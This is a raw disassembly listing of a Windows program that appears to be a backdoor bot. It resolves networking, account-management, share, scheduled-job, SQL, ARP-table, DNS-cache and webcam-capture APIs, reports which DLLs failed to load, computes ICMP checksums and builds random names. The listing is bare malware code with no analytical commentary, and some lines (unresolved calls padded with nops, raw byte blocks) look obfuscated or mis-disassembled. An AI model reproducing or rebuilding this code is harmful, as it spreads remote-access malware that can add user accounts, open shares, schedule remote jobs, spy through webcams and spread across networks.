		cmp	dword_4CB6B8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB66C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB62C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB680, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB63C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB67C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6E8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB634, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB5F8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB668, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6D8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB60C, ebx
		jz	short loc_40A2E8
		cmp	eax, ebx
		jnz	short loc_40A2F2
		jmp	short loc_40A2E8
; ---------------------------------------------------------------------------


loc_40A2DD:				; CODE XREF: sub_409B13+51Fj
		nop
		call	near ptr 26709D6h
		mov	dword_4CB738, eax


loc_40A2E8:				; CODE XREF: sub_409B13+6BEj
					; sub_409B13+6CAj ...
		mov	dword_4CB734, 1


loc_40A2F2:				; CODE XREF: sub_409B13+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F7
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB590, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB518, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB61C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB5C8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB628, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB5EC, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB558, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB550, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB560, eax
		call	esi
		cmp	dword_4CB590, ebx
		mov	ecx, dword_4CB5EC
		mov	dword_4CB688, eax
		jz	short loc_40A3D3
		cmp	dword_4CB518, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB61C, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB5C8, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB628, ebx
		jz	short loc_40A3D3
		cmp	ecx, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB558, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB550, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB560, ebx
		jz	short loc_40A3D3
		cmp	eax, ebx
		jnz	short loc_40A3DD


loc_40A3D3:				; CODE XREF: sub_409B13+87Ej
					; sub_409B13+886j ...
		mov	dword_4CB73C, 1


loc_40A3DD:				; CODE XREF: sub_409B13+8BEj
		cmp	ecx, ebx
		jz	short loc_40A412
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB604, eax
		jnz	short loc_40A412
		jmp	short loc_40A40C
; ---------------------------------------------------------------------------


loc_40A3F7:				; CODE XREF: sub_409B13+7EAj
		nop
		call	near ptr 26709D6h
		mov	dword_4CB740, eax
		mov	dword_4CB73C, 1


loc_40A40C:				; CODE XREF: sub_409B13+8E2j
		mov	dword_4CB604, ebx


loc_40A412:				; CODE XREF: sub_409B13+8CCj
					; sub_409B13+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45C
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB5DC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB70C, eax
		call	esi
		cmp	dword_4CB5DC, ebx
		mov	dword_4CB56C, eax
		jz	short loc_40A467
		cmp	dword_4CB70C, ebx
		jz	short loc_40A467
		cmp	eax, ebx
		jnz	short loc_40A471
		jmp	short loc_40A467
; ---------------------------------------------------------------------------


loc_40A45C:				; CODE XREF: sub_409B13+90Aj
		call	near ptr 26709D6h
		nop
		mov	dword_4CB748, eax


loc_40A467:				; CODE XREF: sub_409B13+939j
					; sub_409B13+941j ...
		mov	dword_4CB744, 1


loc_40A471:				; CODE XREF: sub_409B13+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A578
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB548, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB520, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB598, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB5CC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB6E4, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB580, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB52C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB51C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB5B4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CB6AC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB664, eax
		call	esi
		cmp	dword_4CB548, ebx
		mov	dword_4CB588, eax
		jz	short loc_40A583
		cmp	dword_4CB520, ebx
		jz	short loc_40A583
		cmp	dword_4CB598, ebx
		jz	short loc_40A583
		cmp	dword_4CB5CC, ebx
		jz	short loc_40A583
		cmp	dword_4CB6E4, ebx
		jz	short loc_40A583
		cmp	dword_4CB580, ebx
		jz	short loc_40A583
		cmp	dword_4CB52C, ebx
		jz	short loc_40A583
		cmp	dword_4CB51C, ebx
		jz	short loc_40A583
		cmp	dword_4CB5B4, ebx
		jz	short loc_40A583
		cmp	dword_4CB6AC, ebx
		jz	short loc_40A583
		cmp	dword_4CB664, ebx
		jnz	short loc_40A58D
		jmp	short loc_40A583
; ---------------------------------------------------------------------------


loc_40A578:				; CODE XREF: sub_409B13+969j
		call	near ptr 26709D6h
		nop
		mov	dword_4CB750, eax


loc_40A583:				; CODE XREF: sub_409B13+A11j
					; sub_409B13+A19j ...
		mov	dword_4CB74C, 1


loc_40A58D:				; CODE XREF: sub_409B13+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C2
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB570, eax
		call	esi
		cmp	dword_4CB570, ebx
		mov	dword_4CB64C, eax
		jz	short loc_40A5CD
		cmp	eax, ebx
		jnz	short loc_40A5D7
		jmp	short loc_40A5CD
; ---------------------------------------------------------------------------


loc_40A5C2:				; CODE XREF: sub_409B13+A85j
		nop
		call	near ptr 26709D6h
		mov	dword_4CB758, eax


loc_40A5CD:				; CODE XREF: sub_409B13+AA7j
					; sub_409B13+AADj
		mov	dword_4CB754, 1


loc_40A5D7:				; CODE XREF: sub_409B13+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60C
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB6D0, eax
		call	esi
		cmp	dword_4CB6D0, ebx
		mov	dword_4CB6CC, eax
		jz	short loc_40A617
		cmp	eax, ebx
		jnz	short loc_40A621
		jmp	short loc_40A617
; ---------------------------------------------------------------------------


loc_40A60C:				; CODE XREF: sub_409B13+ACFj
		nop
		call	near ptr 26709D6h
		mov	dword_4CB760, eax


loc_40A617:				; CODE XREF: sub_409B13+AF1j
					; sub_409B13+AF7j
		mov	dword_4CB75C, 1


loc_40A621:				; CODE XREF: sub_409B13+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A680
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB6FC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB6F4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB6BC, eax
		call	esi
		cmp	dword_4CB6FC, ebx
		mov	dword_4CB58C, eax
		jz	short loc_40A68B
		cmp	dword_4CB6F4, ebx
		jz	short loc_40A68B
		cmp	dword_4CB6BC, ebx
		jz	short loc_40A68B
		cmp	eax, ebx
		jnz	short loc_40A695
		jmp	short loc_40A68B
; ---------------------------------------------------------------------------


loc_40A680:				; CODE XREF: sub_409B13+B19j
		nop
		call	near ptr 26709D6h
		mov	dword_4CB768, eax


loc_40A68B:				; CODE XREF: sub_409B13+B55j
					; sub_409B13+B5Dj ...
		mov	dword_4CB764, 1


loc_40A695:				; CODE XREF: sub_409B13+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6CA
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB5C0, eax
		call	esi
		cmp	dword_4CB5C0, ebx
		mov	dword_4CB6C8, eax
		jz	short loc_40A6D5
		cmp	eax, ebx
		jnz	short loc_40A6DF
		jmp	short loc_40A6D5
; ---------------------------------------------------------------------------


loc_40A6CA:				; CODE XREF: sub_409B13+B8Dj
		nop
		call	near ptr 26709D6h
		mov	dword_4CB770, eax


loc_40A6D5:				; CODE XREF: sub_409B13+BAFj
					; sub_409B13+BB5j
		mov	dword_4CB76C, 1


loc_40A6DF:				; CODE XREF: sub_409B13+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A768
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CB690, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB6DC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB618, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB5D0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB670, eax
		call	esi
		cmp	dword_4CB690, ebx
		mov	dword_4CB5E0, eax
		jz	short loc_40A773
		cmp	dword_4CB6DC, ebx
		jz	short loc_40A773
		cmp	dword_4CB618, ebx
		jz	short loc_40A773
		cmp	dword_4CB5D0, ebx
		jz	short loc_40A773
		cmp	dword_4CB670, ebx
		jz	short loc_40A773
		cmp	eax, ebx
		jnz	short loc_40A77D
		jmp	short loc_40A773
; ---------------------------------------------------------------------------


loc_40A768:				; CODE XREF: sub_409B13+BD7j
		nop
		call	near ptr 26709D6h
		mov	dword_4CB778, eax


loc_40A773:				; CODE XREF: sub_409B13+C2Dj
					; sub_409B13+C35j ...
		mov	dword_4CB774, 1


loc_40A77D:				; CODE XREF: sub_409B13+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B2
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB5A4, eax
		call	esi
		cmp	dword_4CB5A4, ebx
		mov	dword_4CB684, eax
		jz	short loc_40A7BD
		cmp	eax, ebx
		jnz	short loc_40A7C7
		jmp	short loc_40A7BD
; ---------------------------------------------------------------------------


loc_40A7B2:				; CODE XREF: sub_409B13+C75j
		call	near ptr 26709D6h
		nop
		mov	dword_4CB780, eax


loc_40A7BD:				; CODE XREF: sub_409B13+C97j
					; sub_409B13+C9Dj
		mov	dword_4CB77C, 1


loc_40A7C7:				; CODE XREF: sub_409B13+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CF	proc near		; CODE XREF: sub_401ACD+2537p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB714, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A817
		push	dword_4CB718
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A817:				; CODE XREF: sub_40A7CF+1Aj
		cmp	dword_4CB71C, esi
		jz	short loc_40A84B
		push	dword_4CB720
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A84B:				; CODE XREF: sub_40A7CF+4Ej
		cmp	dword_4CB724, esi
		jz	short loc_40A87F
		push	dword_4CB728
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A87F:				; CODE XREF: sub_40A7CF+82j
		cmp	dword_4CB72C, esi
		jz	short loc_40A8B3
		push	dword_4CB730
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8B3:				; CODE XREF: sub_40A7CF+B6j
		cmp	dword_4CB734, esi
		jz	short loc_40A8E7
		push	dword_4CB738
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8E7:				; CODE XREF: sub_40A7CF+EAj
		cmp	dword_4CB73C, esi
		jz	short loc_40A91B
		push	dword_4CB740
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A91B:				; CODE XREF: sub_40A7CF+11Ej
		cmp	dword_4CB744, esi
		jz	short loc_40A94F
		push	dword_4CB748
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A94F:				; CODE XREF: sub_40A7CF+152j
		cmp	dword_4CB74C, esi
		jz	short loc_40A983
		push	dword_4CB750
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A983:				; CODE XREF: sub_40A7CF+186j
		cmp	dword_4CB754, esi
		jz	short loc_40A9B7
		push	dword_4CB758
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9B7:				; CODE XREF: sub_40A7CF+1BAj
		cmp	dword_4CB75C, esi
		jz	short loc_40A9EB
		push	dword_4CB760
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9EB:				; CODE XREF: sub_40A7CF+1EEj
		cmp	dword_4CB764, esi
		jz	short loc_40AA1F
		push	dword_4CB768
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA1F:				; CODE XREF: sub_40A7CF+222j
		cmp	dword_4CB76C, esi
		jz	short loc_40AA53
		push	dword_4CB770
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA53:				; CODE XREF: sub_40A7CF+256j
		cmp	dword_4CB774, esi
		jz	short loc_40AA87
		push	dword_4CB778
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA87:				; CODE XREF: sub_40A7CF+28Aj
		cmp	dword_4CB77C, esi
		jz	short loc_40AABB
		push	dword_4CB780
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AABB:				; CODE XREF: sub_40A7CF+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42DA28
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE8
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40AAE8:				; CODE XREF: sub_40A7CF+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C96p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB22
		push	[esp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jnz	short loc_40AB1B
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1B:				; CODE XREF: sub_40AAFA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB22:				; CODE XREF: sub_40AAFA+Dj
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB23	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB570
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB31
		call	ecx

locret_40AB31:				; CODE XREF: sub_40AB23+Aj
		retn
sub_40AB23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB32	proc near		; CODE XREF: sub_401ACD:loc_403F5Ep

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB6D0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF8
		sub	ecx, 32h
		jz	loc_40ABF1
		sub	ecx, 48h
		jz	short loc_40AB92
		sub	ecx, 6Eh
		jz	short loc_40AB8B


loc_40AB74:				; CODE XREF: sub_40AB32+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DC3C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD2
; ---------------------------------------------------------------------------


loc_40AB8B:				; CODE XREF: sub_40AB32+40j
		push	offset unk_42DC18
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40AB92:				; CODE XREF: sub_40AB32+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBF
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB6D0
		cmp	eax, edi
		jz	short loc_40ABF8
		jmp	short loc_40AB74
; ---------------------------------------------------------------------------


loc_40ABBF:				; CODE XREF: sub_40AB32+79j
		push	offset unk_42DBE8


loc_40ABC4:				; CODE XREF: sub_40AB32+5Ej
					; sub_40AB32+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD2:				; CODE XREF: sub_40AB32+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40ABE2:				; CODE XREF: sub_40AB32+C8j
					; sub_40AB32+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF1:				; CODE XREF: sub_40AB32+32j
		push	offset unk_42DBB8
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40ABF8:				; CODE XREF: sub_40AB32+29j
					; sub_40AB32+89j
		cmp	[esi], edi
		jbe	short loc_40ABE2
		lea	ebx, [esi+4]


loc_40ABFF:				; CODE XREF: sub_40AB32+DAj
		push	ebx
		call	dword_4CB6CC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFF
		jmp	short loc_40ABE2
sub_40AB32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC10	proc near		; CODE XREF: sub_401ACD+2248p
					; sub_401ACD+2399p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5F8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB784
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC69	proc near		; CODE XREF: sub_412B09+24Cp
					; sub_412B09+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC92
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC85:				; CODE XREF: sub_40AC69+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC85
		pop	edi
		jmp	short loc_40AC96
; ---------------------------------------------------------------------------


loc_40AC92:				; CODE XREF: sub_40AC69+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC96:				; CODE XREF: sub_40AC69+27j
		test	esi, esi
		pop	esi
		jz	short loc_40ACA0
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40ACA0:				; CODE XREF: sub_40AC69+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC69	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB6	proc near		; CODE XREF: sub_40B08E+49p
					; DATA XREF: ___:off_42DC88o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 268083Ah
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42DCF0[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1E


loc_40ACF8:				; CODE XREF: sub_40ACB6+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF8


loc_40AD1E:				; CODE XREF: sub_40ACB6+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB6	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 0FE89057h, 5002275Bh, 10BA7E8h, 247C8B00h, 2404C710h
		dd 42913Ch, 42D01468h, 571C6A00h, 10C37E8h, 83F63300h
		dd 353910C4h, 429098h, 87E8267Eh, 6A00010Bh, 0F759990Ah
		dd 685752F9h, 42BB60h, 0E8571C6Ah, 10C10h, 4614C483h, 9098353Bh
		dd 0DA7C0042h, 5E5FC78Bh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD81	proc near		; CODE XREF: sub_401ACD+69CDp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 268083Ah
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC4


loc_40ADAE:				; CODE XREF: sub_40AD81+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAE


loc_40ADC4:				; CODE XREF: sub_40AD81+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD81	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 268083Ah
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431948
		push	eax
		push	esi
		call	near ptr 26B0000h
		nop
		movsx	eax, byte_431948
		push	41h
		pop	ecx
